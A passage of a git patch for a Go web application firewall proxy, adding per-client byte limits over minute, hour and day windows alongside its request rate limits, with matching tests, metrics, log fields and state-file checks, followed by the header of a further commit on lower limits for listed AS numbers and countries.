switches. It returns the connection, +// on which reading fails once waitLimit has passed, and a reader of what +// the app sends on it. +func (s *sender) openWebSocket() (net.Conn, *bufio.Reader) { + s.t.Helper() + + conn := dial(s.t, s.addr) + send(s.t, conn, "GET /socket HTTP/1.1\r\nHost: "+appHost+"\r\n"+forwardedFor+ + ": "+client+"\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n") + + err := conn.SetReadDeadline(time.Now().Add(waitLimit)) + if err != nil { + s.t.Fatalf("set read deadline: %v", err) + } + + reader := bufio.NewReader(conn) + + res, err := http.ReadResponse(reader, nil) + if err != nil { + s.t.Fatalf("read the answer to the upgrade: %v", err) + } + + _ = res.Body.Close() + + if res.StatusCode != http.StatusSwitchingProtocols { + s.t.Fatalf("status %d, want %d", res.StatusCode, http.StatusSwitchingProtocols) + } + + return conn, reader +} + +// closeWebSocket closes conn, a WebSocket openWebSocket opened, checks its +// log line as request does, and returns it. +func (s *sender) closeWebSocket(conn net.Conn) logLine { + s.t.Helper() + + _ = conn.Close() + + line := s.out.requestLines(s.t, s.sent+1)[s.sent] + s.sent++ + wantLine(s.t, line, http.StatusSwitchingProtocols, requestlog.ActionForward) + + return line +} + +// startWithAnswers is startAppWithAlerts in front of readAndAnswer, for a +// test that looks at neither the server nor the alerts. +func startWithAnswers(t *testing.T, env map[string]string) (*sender, *clock) { + t.Helper() + + s, clk, _, _ := startAppWithAlerts(t, readAndAnswer, env) + + return s, clk +} + +// download sends a GET request for / from client, and checks that the +// app's answer is passed on, as request does. It returns the log line and +// the answer. +func (s *sender) download() (logLine, answer) { + s.t.Helper() + + return s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK, + requestlog.ActionForward) +} + +// upload is download for a POST request with a body of bodyBytes, and +// returns the log line. +func (s *sender) upload() logLine { + s.t.Helper() + + line, _ := s.requestWithBody(http.MethodPost, client, "/", uploadHeader, + uploadBody, http.StatusOK, requestlog.ActionForward) + + return line +} diff --git a/internal/proxy/metrics_test.go b/internal/proxy/metrics_test.go index 7f2110d..c291829 100644 --- a/internal/proxy/metrics_test.go +++ b/internal/proxy/metrics_test.go @@ -222,8 +222,8 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { metrics := s.scrape(scraper) wantMetric(t, metrics, `smallwebwaf_requests_total{action="denied",instance="app",status_class="none"}`, 1) - wantMetric(t, metrics, - `smallwebwaf_rate_limit_hits_total{instance="app",window="minute"}`, 1) + wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+ + `kind="requests",window="minute"}`, 1) wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1) wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1) wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1) @@ -238,8 +238,8 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { s.get(client, 0, requestlog.ActionRateLimited) metrics = s.scrape(scraper) - wantMetric(t, metrics, - `smallwebwaf_rate_limit_hits_total{instance="app",window="minute"}`, 2) + wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+ + `kind="requests",window="minute"}`, 2) wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 2) wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 2) wantMetric(t, metrics, `smallwebwaf_active_bans{instance="app"}`, 1) diff --git a/internal/proxy/passthrough_test.go b/internal/proxy/passthrough_test.go index c63ceb2..0399cc1 100644 --- a/internal/proxy/passthrough_test.go +++ b/internal/proxy/passthrough_test.go @@ -122,6 +122,8 @@ func wantAnswer(t *testing.T, got answer, body []byte) { func wantRequestFields(t *testing.T, line logLine, host string, sent, received int) { t.Helper() + bytes := float64(sent + received) + want := withTimings(line, requestlog.Line{ Type: requestType, Time: line.Time, Instance: "app", ClientIP: localhost, Method: http.MethodPatch, Scheme: plain, Host: host, @@ -131,7 +133,10 @@ func wantRequestFields(t *testing.T, line logLine, host string, sent, received i RequestID: line.RequestID, PeerIP: localhost, ClientGroup: localhost + "/32", ContentLength: int64(sent), ResponseContentType: "text/plain; charset=utf-8", UpstreamStatus: http.StatusTeapot, Action: requestlog.ActionForward, - Counts: ratelimit.Counts{Minute: 1, Hour: 1, Day: 1}, + Counts: ratelimit.Counts{ + Minute: 1, Hour: 1, Day: 1, + MinuteBytes: bytes, HourBytes: bytes, DayBytes: bytes, + }, }) if !reflect.DeepEqual(line.Line, want) { t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want) diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 21d7c24..fbe6dbb 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -103,9 +103,12 @@ func New(params Params) *Server { now: params.Now, metrics: m, limiter: ratelimit.New(ratelimit.Limits{ - PerMinute: params.Config.RateLimitPerMinute, - PerHour: params.Config.RateLimitPerHour, - PerDay: params.Config.RateLimitPerDay, + PerMinute: params.Config.RateLimitPerMinute, + PerHour: params.Config.RateLimitPerHour, + PerDay: params.Config.RateLimitPerDay, + BytesPerMinute: params.Config.BytesLimitPerMinute, + BytesPerHour: params.Config.BytesLimitPerHour, + BytesPerDay: params.Config.BytesLimitPerDay, }), ledger: bans.New(bans.Rules{ LimitBanDuration: params.Config.LimitBanDuration, @@ -226,5 +229,10 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } + // Once the response has ended, before the request is added to its + // client's history. Deferred, since ReverseProxy panics to end a + // response it cannot finish. + defer rq.countBytes() + rq.forward(r.Context()) } diff --git a/internal/proxy/request.go b/internal/proxy/request.go index f52cfd5..94b3c77 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -3,6 +3,7 @@ package proxy import ( "context" "errors" + "io" "net/http" "net/http/httptrace" "net/http/httputil" @@ -54,7 +55,10 @@ type request struct { // what the lookup gave then, the zero Answer while GeoJS had given none. lookedUp bool lookupAnswer lookup.Answer - start time.Time + // counted is true for a request the rate limits counted, whose bytes + // the byte limits count once it has ended. + counted bool + start time.Time // checked is when the checks were done, and upstreamStart when the // request was handed to the app. checked time.Time @@ -65,6 +69,9 @@ type request struct { refused atomic.Pointer[refusal] // complete is true once the app's whole answer has been passed on. complete bool + // upgraded is the connection to the app once the app has switched + // protocols, as for a WebSocket, and nil otherwise. + upgraded *upgradedConn // mu guards what follows. The timeouts run on goroutines of their // own, and the transport starts and stops them, and notes the times @@ -205,8 +212,9 @@ func (rq *request) check(ctx context.Context) *refusal { // them refuses is not counted for the rate limits. Then come the rate // limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that -// every other request is counted, and last the rule files. ctx is the -// request's own context. +// every other request is counted, and last the rule files. A request +// exempt from the rate limits is exempt from the byte limits too. ctx is +// the request's own context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -229,9 +237,9 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionCountryDenied } - exempt := isInside(rq.client, cfg.RateLimitExemptNets) || - pathExempt(rq.in.URL, cfg.RateLimitExemptPaths) - if !exempt && rq.limitBroken(now) { + rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) && + !pathExempt(rq.in.URL, cfg.RateLimitExemptPaths) + if rq.counted && rq.limitBroken(now) { return requestlog.ActionRateLimited } @@ -324,11 +332,18 @@ func (rq *request) modifyResponse(res *http.Response) error { if res.StatusCode == http.StatusSwitchingProtocols { // An upgraded connection, such as a WebSocket, is not cut by the // timeouts. ReverseProxy writes this answer straight to the - // connection it takes over, not through rq.out. + // connection it takes over, not through rq.out, and then copies + // what passes each way through res.Body, the connection to the app. rq.stopTimers() rq.out.status = res.StatusCode rq.line.Websocket = true + conn, ok := res.Body.(io.ReadWriteCloser) + if ok { + rq.upgraded = &upgradedConn{ReadWriteCloser: conn} + res.Body = rq.upgraded + } + return nil } @@ -431,10 +446,7 @@ func (rq *request) finish() { line.ResponseContentType = header.Get("Content-Type") line.CacheControl = header.Get("Cache-Control") line.Location = header.Get("Location") - - if rq.body != nil { - line.RequestBytes = rq.body.bytes.Load() - } + line.RequestBytes = rq.requestBytes() // limit is the setting whose size or time limit the request passed. var limit string @@ -497,11 +509,6 @@ func timing(start, end time.Time) *float64 { // may have come before either was there, and one from GeoJS that comes // later is added when it comes. func (rq *request) addToHistory() { - var requestBytes int64 - if rq.body != nil { - requestBytes = rq.body.bytes.Load() - } - forwarded := !rq.upstreamStart.IsZero() group := clientGroup(rq.client) @@ -509,7 +516,7 @@ func (rq *request) addToHistory() { Forwarded: forwarded, Refused: !forwarded && rq.refused.Load() != nil, Status: rq.out.status, - RequestBytes: requestBytes, + RequestBytes: rq.requestBytes(), ResponseBytes: rq.out.bytes, BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, }) @@ -531,6 +538,15 @@ func (rq *request) addToHistory() { } } +// requestBytes is how many bytes of the request's body have been read. +func (rq *request) requestBytes() int64 { + if rq.body == nil { + return 0 + } + + return rq.body.bytes.Load() +} + // clientRequestDeadline is when the client must have sent its whole // request, or zero when SWWAF_CLIENT_REQUEST_TIMEOUT is off. func (rq *request) clientRequestDeadline() time.Time { diff --git a/internal/proxy/requestlog_test.go b/internal/proxy/requestlog_test.go index 98d2104..75e20f9 100644 --- a/internal/proxy/requestlog_test.go +++ b/internal/proxy/requestlog_test.go @@ -119,7 +119,10 @@ func wantFullLine(t *testing.T, line logLine) { ResponseContentType: "text/html", UpstreamStatus: http.StatusFound, CacheControl: "no-store", Location: "/elsewhere", Action: requestlog.ActionForward, - Counts: ratelimit.Counts{Minute: 1, Hour: 1, Day: 1}, + // Its 3 bytes in and 5 out, each way counted by default. + Counts: ratelimit.Counts{ + Minute: 1, Hour: 1, Day: 1, MinuteBytes: 8, HourBytes: 8, DayBytes: 8, + }, }) if !reflect.DeepEqual(line.Line, want) { t.Errorf("log line\n%+v\nwant\n%+v", line.Line, want) diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 5198901..897c36f 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -1,9 +1,9 @@ // Package ratelimit keeps the table of clients: each client's requests -// counted over a minute, an hour and a day, as the "Counting method" -// section of SPEC.md describes, which tell when a request takes the client -// over a rate limit, and each client's history since it was first seen. -// At most 20,000 clients are kept, in memory, and written to clients.json -// and read from it by the state package. +// and bytes counted over a minute, an hour and a day, as the "Counting +// method" section of SPEC.md describes, which tell when a request takes +// the client over a rate limit or a byte limit, and each client's history +// since it was first seen. At most 20,000 clients are kept, in memory, and +// written to clients.json and read from it by the state package. package ratelimit import ( @@ -23,19 +23,30 @@ const maxClients = 20000 const day = 24 * time.Hour +// The kinds of limits, as the metrics name them. +const ( + // KindRequests is a rate limit, on a client's requests. + KindRequests = "requests" + // KindBytes is a byte limit, on a client's bytes. + KindBytes = "bytes" +) + // Limits are the most requests a client may make in a minute, an hour and -// a day. Zero is no limit. +// a day, and the most bytes. Zero is no limit. type Limits struct { - PerMinute int64 - PerHour int64 - PerDay int64 + PerMinute int64 + PerHour int64 + PerDay int64 + BytesPerMinute int64 + BytesPerHour int64 + BytesPerDay int64 } -// Limiter counts each client's requests against the limits, and keeps -// its history. It is safe for concurrent use. +// Limiter counts each client's requests and bytes against the limits, and +// keeps its history. It is safe for concurrent use. type Limiter struct { // windows are the minute, the hour and the day, in the order of - // Client.buckets. + // Client.buckets and Client.byteBuckets. windows [3]window mu sync.Mutex @@ -43,17 +54,23 @@ type Limiter struct { } // Client is a client in the table, as clients.json holds it: its buckets -// in each window, and its history. +// of requests and of bytes in each window, and its history. +// +//nolint:tagliatelle // the state files use snake_case, as the request log does type Client struct { - Client netip.Prefix `json:"client"` - Minute Buckets `json:"minute"` - Hour Buckets `json:"hour"` - Day Buckets `json:"day"` - History History `json:"history"` + Client netip.Prefix `json:"client"` + Minute Buckets `json:"minute"` + Hour Buckets `json:"hour"` + Day Buckets `json:"day"` + MinuteBytes Buckets `json:"minute_bytes"` + HourBytes Buckets `json:"hour_bytes"` + DayBytes Buckets `json:"day_bytes"` + History History `json:"history"` } -// Buckets are a client's two buckets in one window: the requests in the -// bucket under way, which began at Start, and in the bucket before it. +// Buckets are a client's two buckets in one window: the requests, or the +// bytes, in the bucket under way, which began at Start, and in the bucket +// before it. type Buckets struct { Start time.Time `json:"start"` Current int64 `json:"current"` @@ -101,7 +118,7 @@ type Responses struct { // Offences are a client's offences, by kind. type Offences struct { - // Limit is its requests that broke a rate limit. + // Limit is its requests that broke a rate limit or a byte limit. Limit int64 `json:"limit"` } @@ -119,7 +136,8 @@ type Request struct { // and of its response. RequestBytes int64 ResponseBytes int64 - // BrokeLimit is true for a request that broke a rate limit. + // BrokeLimit is true for a request that broke a rate limit or a byte + // limit. BrokeLimit bool } @@ -132,62 +150,71 @@ func New(limits Limits) *Limiter { return &Limiter{ windows: [3]window{ - {name: "minute", length: time.Minute, limit: limits.PerMinute}, - {name: "hour", length: time.Hour, limit: limits.PerHour}, - {name: "day", length: day, limit: limits.PerDay}, + { + name: "minute", length: time.Minute, + limit: limits.PerMinute, byteLimit: limits.BytesPerMinute, + }, + { + name: "hour", length: time.Hour, + limit: limits.PerHour, byteLimit: limits.BytesPerHour, + }, + { + name: "day", length: day, + limit: limits.PerDay, byteLimit: limits.BytesPerDay, + }, }, clients: clients, } } -// Hit is a request that takes a client over a rate limit. +// Hit is a request that takes a client over a rate limit, or whose bytes +// take it over a byte limit. type Hit struct { + // Kind is KindRequests for a rate limit, KindBytes for a byte limit. + Kind string // Window is "minute", "hour" or "day". Window string // Limit is the window's limit. Limit int64 - // Requests is the client's requests counted in the window, this one - // included. - Requests float64 + // Count is the client's requests, or bytes, counted in the window, + // this request's included. + Count float64 } -// Counts are a client's requests in the minute, the hour and the day that -// end at a request, that request included. +// Counts are a client's requests and bytes in the minute, the hour and +// the day that end at a request, that request's included. +// +//nolint:tagliatelle // SPEC.md's request log names its fields in snake_case type Counts struct { - Minute float64 `json:"minute"` - Hour float64 `json:"hour"` - Day float64 `json:"day"` + Minute float64 `json:"minute"` + Hour float64 `json:"hour"` + Day float64 `json:"day"` + MinuteBytes float64 `json:"minute_bytes"` + HourBytes float64 `json:"hour_bytes"` + DayBytes float64 `json:"day_bytes"` } // Count counts a request from client at now, in every window, whether or -// not it is refused, and returns the client's requests in each window. It -// reports whether the request takes the client over a limit, and the -// window whose limit it goes over, the shortest if it is over several. +// not it is refused, and returns the client's counts in each window. It +// reports whether the request takes the client over a rate limit, and the +// hit: the window whose limit it goes over, the shortest if it is over +// several. func (l *Limiter) Count(client netip.Prefix, now time.Time) (Counts, Hit, bool) { - l.mu.Lock() - defer l.mu.Unlock() - - var ( - requests [3]float64 - hit Hit - ) - - for i, b := range l.get(client).buckets() { - w := l.windows[i] - - requests[i] = b.add(now, w.length) - if hit.Window == "" && w.limit > 0 && requests[i] > float64(w.limit) { - hit = Hit{Window: w.name, Limit: w.limit, Requests: requests[i]} - } - } - - counts := Counts{Minute: requests[0], Hour: requests[1], Day: requests[2]} - - return counts, hit, hit.Window != "" + return l.count(client, now, 1, 0) } -// Reset sets client's counts in every window back to zero. Its history -// keeps its totals. +// CountBytes counts bytes, those of a request from client that has ended, +// at now, in every window, and returns the client's counts in each window. +// It reports whether the bytes take the client over a byte limit, and the +// hit, as Count does. +func (l *Limiter) CountBytes( + client netip.Prefix, now time.Time, bytes int64, +) (Counts, Hit, bool) { + return l.count(client, now, 0, bytes) +} + +// Reset sets client's counts of requests and of bytes in every window +// back to zero. Its history keeps its totals. func (l *Limiter) Reset(client netip.Prefix) { l.mu.Lock() defer l.mu.Unlock() @@ -195,6 +222,7 @@ func (l *Limiter) Reset(client netip.Prefix) { c, seen := l.clients.Peek(client) if seen { c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{} + c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{} } } @@ -328,12 +356,13 @@ func (l *Limiter) Load(clients []Client, now time.Time) { l.clients.Purge() for _, c := range clients { - for i, b := range c.buckets() { - // The window that ends at now covers neither bucket once it - // begins after the bucket under way has ended. - length := l.windows[i].length - if !now.Add(-length).Before(b.Start.Add(length)) { - *b = Buckets{} + for i, w := range l.windows { + for _, b := range []*Buckets{c.buckets()[i], c.byteBuckets()[i]} { + // The window that ends at now covers neither bucket once it + // begins after the bucket under way has ended. + if !now.Add(-w.length).Before(b.Start.Add(w.length)) { + *b = Buckets{} + } } } @@ -341,6 +370,49 @@ func (l *Limiter) Load(clients []Client, now time.Time) { } } +// count adds requests and bytes from client at now to its buckets in +// every window, and returns its counts. A limit is broken only by what is +// added to it, so that a request whose bytes are counted after another of +// the client's requests broke a rate limit does not break it too. +func (l *Limiter) count( + client netip.Prefix, now time.Time, requests, bytes int64, +) (Counts, Hit, bool) { + l.mu.Lock() + defer l.mu.Unlock() + + c := l.get(client) + requestBuckets, byteBuckets := c.buckets(), c.byteBuckets() + + var ( + requestCounts, byteCounts [3]float64 + hit Hit + ) + + for i, w := range l.windows { + requestCounts[i] = requestBuckets[i].add(now, w.length, requests) + byteCounts[i] = byteBuckets[i].add(now, w.length, bytes) + + switch { + case hit.Window != "": + case requests > 0 && w.limit > 0 && requestCounts[i] > float64(w.limit): + hit = Hit{ + Kind: KindRequests, Window: w.name, Limit: w.limit, Count: requestCounts[i], + } + case bytes > 0 && w.byteLimit > 0 && byteCounts[i] > float64(w.byteLimit): + hit = Hit{ + Kind: KindBytes, Window: w.name, Limit: w.byteLimit, Count: byteCounts[i], + } + } + } + + counts := Counts{ + Minute: requestCounts[0], Hour: requestCounts[1], Day: requestCounts[2], + MinuteBytes: byteCounts[0], HourBytes: byteCounts[1], DayBytes: byteCounts[2], + } + + return counts, hit, hit.Window != "" +} + // get returns client's entry in the table, a new one if it has none, and // makes it the most recently seen. func (l *Limiter) get(client netip.Prefix) *Client { @@ -353,30 +425,39 @@ func (l *Limiter) get(client netip.Prefix) *Client { return c } -// buckets returns c's buckets in the minute, the hour and the day. +// buckets returns c's buckets of requests in the minute, the hour and the +// day. func (c *Client) buckets() [3]*Buckets { return [3]*Buckets{&c.Minute, &c.Hour, &c.Day} } -// window is a length of time over which requests are counted, and the -// most requests a client may make in it. -type window struct { - name string - length time.Duration - limit int64 +// byteBuckets returns c's buckets of bytes in the minute, the hour and the +// day. +func (c *Client) byteBuckets() [3]*Buckets { + return [3]*Buckets{&c.MinuteBytes, &c.HourBytes, &c.DayBytes} } -// add counts a request at now in a window of length, and returns the -// client's requests in the window that ends at now: those in the bucket -// under way, and those in the bucket before it weighted by how much of -// that bucket the window still covers. +// window is a length of time over which requests and bytes are counted, +// and the most requests and the most bytes a client may have in it. +type window struct { + name string + length time.Duration + limit int64 + byteLimit int64 +} + +// add counts n requests, or n bytes, at now in a window of length, and +// returns the client's count in the window that ends at now: what is in +// the bucket under way, and what is in the bucket before it weighted by +// how much of that bucket the window still covers. With n zero it counts +// nothing, and returns the count. // // Concurrent requests can be counted out of order, so now can be a moment // before the bucket under way began; such a request is counted in that // bucket. A request dated more than a second before it means the clock // was set back, and the buckets start afresh: otherwise the bucket before // would keep its full weight until the clock caught up. -func (b *Buckets) add(now time.Time, length time.Duration) float64 { +func (b *Buckets) add(now time.Time, length time.Duration, n int64) float64 { if now.Before(b.Start.Add(-time.Second)) { *b = Buckets{} } @@ -393,7 +474,7 @@ func (b *Buckets) add(now time.Time, length time.Duration) float64 { b.Current = 0 } - b.Current++ + b.Current += n elapsed := max(now.Sub(b.Start), 0) covered := 1 - float64(elapsed)/float64(length) diff --git a/internal/ratelimit/ratelimit_test.go b/internal/ratelimit/ratelimit_test.go index 49bb3ec..6dc979d 100644 --- a/internal/ratelimit/ratelimit_test.go +++ b/internal/ratelimit/ratelimit_test.go @@ -71,13 +71,116 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) { // Over both limits; the minute's is named, with the four requests. _, hit, over := limiter.Count(client, start) - want := ratelimit.Hit{Window: minute, Limit: limit, Requests: limit + 1} + want := ratelimit.Hit{ + Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1, + } if !over || hit != want { t.Errorf("request over the limit gives %+v and %t, want %+v and true", hit, over, want) } } +func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) { + t.Parallel() + + const byteLimit = 1000 + + for _, tc := range []struct { + window string + limits ratelimit.Limits + }{ + {minute, ratelimit.Limits{BytesPerMinute: byteLimit}}, + {hour, ratelimit.Limits{BytesPerHour: byteLimit}}, + {"day", ratelimit.Limits{BytesPerDay: byteLimit}}, + } { + t.Run(tc.window, func(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(tc.limits) + client := netip.MustParsePrefix("203.0.113.9/32") + + // 600 bytes are within the limit, 600 more over it. + _, _, over := limiter.CountBytes(client, midnight(), 600) + if over { + t.Fatal("600 bytes are over the limit of 1000") + } + + _, hit, over := limiter.CountBytes(client, midnight(), 600) + + want := ratelimit.Hit{ + Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200, + } + if !over || hit != want { + t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want) + } + }) + } +} + +func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000}) + client := netip.MustParsePrefix("203.0.113.9/32") + other := netip.MustParsePrefix("203.0.113.10/32") + start := midnight() + + // The third request breaks the rate limit. The bytes of a request + // counted after it, within the byte limit, do not break it again. + for range 2 { + wantCount(t, limiter, client, start, "") + } + + wantCount(t, limiter, client, start, minute) + wantBytesCount(t, limiter, client, start, 500, "") + wantBytesCount(t, limiter, client, start, 600, ratelimit.KindBytes) + + // Bytes over the byte limit do not have the next request break it, nor + // the rate limit, which that request is within. + wantBytesCount(t, limiter, other, start, 1200, ratelimit.KindBytes) + wantCount(t, limiter, other, start, "") +} + +func TestCountGivesTheBytesInEachWindow(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + limiter.CountBytes(client, start, 300) + + // A quarter into the next hour, the minute has only these 100 bytes. + // The hour still covers three quarters of the bucket before, whose 300 + // bytes count 225, and these: 325. The day covers all 400. + later := start.Add(time.Hour + time.Hour/4) + limiter.CountBytes(client, later, 100) + + // A request's counts give the bytes counted so far too. + counts, _, _ := limiter.Count(client, later) + + want := ratelimit.Counts{ + Minute: 1, Hour: 1, Day: 1, MinuteBytes: 100, HourBytes: 325, DayBytes: 400, + } + if counts != want { + t.Errorf("counts %+v, want %+v", counts, want) + } +} + +func TestResetSetsTheBytesBackToZero(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + wantBytesCount(t, limiter, client, start, 1200, ratelimit.KindBytes) + limiter.Reset(client) + + // The client has its whole allowance of bytes again. + wantBytesCount(t, limiter, client, start, 1000, "") +} + func TestCountGivesTheRequestsInEachWindow(t *testing.T) { t.Parallel() @@ -267,3 +370,18 @@ func wantCount( client, now.Format(time.RFC3339), hit.Window, want) } } + +// wantBytesCount counts bytes from client at now, and checks the kind of +// the limit they break, "" for none. +func wantBytesCount( + t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time, + bytes int64, want string, +) { + t.Helper() + + _, hit, _ := limiter.CountBytes(client, now, bytes) + if hit.Kind != want { + t.Errorf("%d bytes from %s at %s break a limit on %q, want %q", + bytes, client, now.Format(time.RFC3339), hit.Kind, want) + } +} diff --git a/internal/ratelimit/snapshot_test.go b/internal/ratelimit/snapshot_test.go index 251ae4d..bc5ac53 100644 --- a/internal/ratelimit/snapshot_test.go +++ b/internal/ratelimit/snapshot_test.go @@ -64,6 +64,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { limiter := ratelimit.New(ratelimit.Limits{}) limiter.Count(client, start) + limiter.CountBytes(client, start, 5) limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) loaded := func(now time.Time) ratelimit.Client { @@ -76,19 +77,25 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) { } // Two minutes on, the window that ends then covers neither of the - // minute's buckets, which are emptied; the hour's and the day's stay, - // and so does the history. + // minute's buckets, of requests and of bytes, which are emptied; the + // hour's and the day's stay, and so does the history. got := loaded(start.Add(2 * time.Minute)) if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 || got.Day.Current != 1 || got.History.Requests != 1 { t.Errorf("loaded two minutes on as %+v", got) } + if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 || + got.DayBytes.Current != 5 { + t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v", + got.MinuteBytes, got.HourBytes, got.DayBytes) + } + // A moment before, the window still covers some of the earlier one. got = loaded(start.Add(2*time.Minute - time.Nanosecond)) - if got.Minute.Current != 1 { - t.Errorf("loaded just under two minutes on with minute buckets %+v", - got.Minute) + if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 { + t.Errorf("loaded just under two minutes on with minute buckets %+v and %+v", + got.Minute, got.MinuteBytes) } } diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 6225910..442975c 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -45,7 +45,7 @@ const ( ) // OffenceLimit is the offence a request line names for a request that -// broke a rate limit. +// broke a rate limit, or whose bytes broke a byte limit. const OffenceLimit = "limit" // timeLayout is RFC 3339 with milliseconds. @@ -117,13 +117,16 @@ type Line struct { // ActionBanned, ActionCountryDenied, ActionRateLimited or // ActionRuleBlocked. WouldAction string `json:"would_action,omitempty"` - // Counts are the client's requests as the rate limits counted them - // with this one, for a request they counted. + // Counts are, for a request the rate limits counted, the client's + // requests as they counted them with this one, and its bytes as the + // byte limits counted them, with this request's once it has ended if + // they count them. Counts ratelimit.Counts `json:"counts,omitzero"` // RuleIDs are the ids of the rule file rules the request matched. RuleIDs []string `json:"rule_ids,omitempty"` - // LimitHit is the window whose rate limit the request went over: - // minute, hour or day. + // LimitHit is the window whose limit the request went over, named as + // Counts names its count: minute, hour or day for a rate limit, and + // minute_bytes, hour_bytes or day_bytes for a byte limit. LimitHit string `json:"limit_hit,omitempty"` // Offence is the offence the request was held as, OffenceLimit. Offence string `json:"offence,omitempty"` diff --git a/internal/state/state.go b/internal/state/state.go index 3932334..eb1d805 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -615,8 +615,8 @@ func (f *bansFile) check(data []byte) error { } // check refuses a client without its address, which would count nobody's -// requests, or with requests in a window but no start, which would drop -// them and give the client a fresh allowance. +// requests, or with requests or bytes in a window but no start, which +// would drop them and give the client a fresh allowance. func (f *clientsFile) check([]byte) error { for i, client := range f.Clients { switch { @@ -628,6 +628,12 @@ func (f *clientsFile) check([]byte) error { return missing(i, "hour.start") case countsWithoutStart(client.Day): return missing(i, "day.start") + case countsWithoutStart(client.MinuteBytes): + return missing(i, "minute_bytes.start") + case countsWithoutStart(client.HourBytes): + return missing(i, "hour_bytes.start") + case countsWithoutStart(client.DayBytes): + return missing(i, "day_bytes.start") } } @@ -697,8 +703,8 @@ func (f *alertsFile) check([]byte) error { return nil } -// countsWithoutStart reports whether b holds requests but no start, which -// places them in time. +// countsWithoutStart reports whether b holds requests, or bytes, but no +// start, which places them in time. func countsWithoutStart(b ratelimit.Buckets) bool { return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0) } diff --git a/internal/state/state_test.go b/internal/state/state_test.go index f2ffad8..3ffc3c7 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -392,6 +392,12 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { `"hour": {"current": 3}}]}`, `: entry 1 has no "hour.start"`, }, + { + "a client with bytes in a window without its start", clientsJSON, + `{"version": 1, "clients": [{"client": "203.0.113.9/32", ` + + `"minute_bytes": {"previous": 5120}}]}`, + `: entry 1 has no "minute_bytes.start"`, + }, { "an answer without a client", lookupsJSON, `{"version": 1, "lookups": [{"country": "DE", ` + answer + `}]}`, @@ -1317,6 +1323,7 @@ func fill(params state.Params) { params.Limiter.Count(netip.MustParsePrefix(c), now) } + params.Limiter.CountBytes(client, now, 8) params.Limiter.AddToHistory(client, now, ratelimit.Request{ Forwarded: true, Status: 200, RequestBytes: 3, ResponseBytes: 5, }) From 2421cdc273cb80336b3290fda81ddcc1e0ce7379 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 14:22:01 +0200 Subject: [PATCH 38/64] Lower limits for listed AS numbers and countries (closes #21) SWWAF_ASN_LIMIT_PERCENT and SWWAF_COUNTRY_LIMIT_PERCENT give the clients of the AS numbers and countries they list that percentage of every rate and byte limit, rounded down; SWWAF_ASN_BYTES_PERCENT and SWWAF_COUNTRY_BYTES_PERCENT take its place for the byte limits of those they list; SWWAF_UNKNOWN_LIMIT_PERCENT (100) covers clients without a country. The lowest applies. While one lowers a limit, a request waits for its client's lookup, and SWWAF_LOOKUP_SOURCE=off stops the start. Log lines give limit_percent and bytes_percent with their settings; ban notes, and so alerts, give the broken limit's. Judgement call: a client without a country is unknown, whatever its AS number. Judgement call: bytes_percent and its setting are log fields SPEC does not name. Rule suppressed: funlen on FromEnvironment, one line per setting. Model: opus-5-5 --- README.md | 143 +++++--- 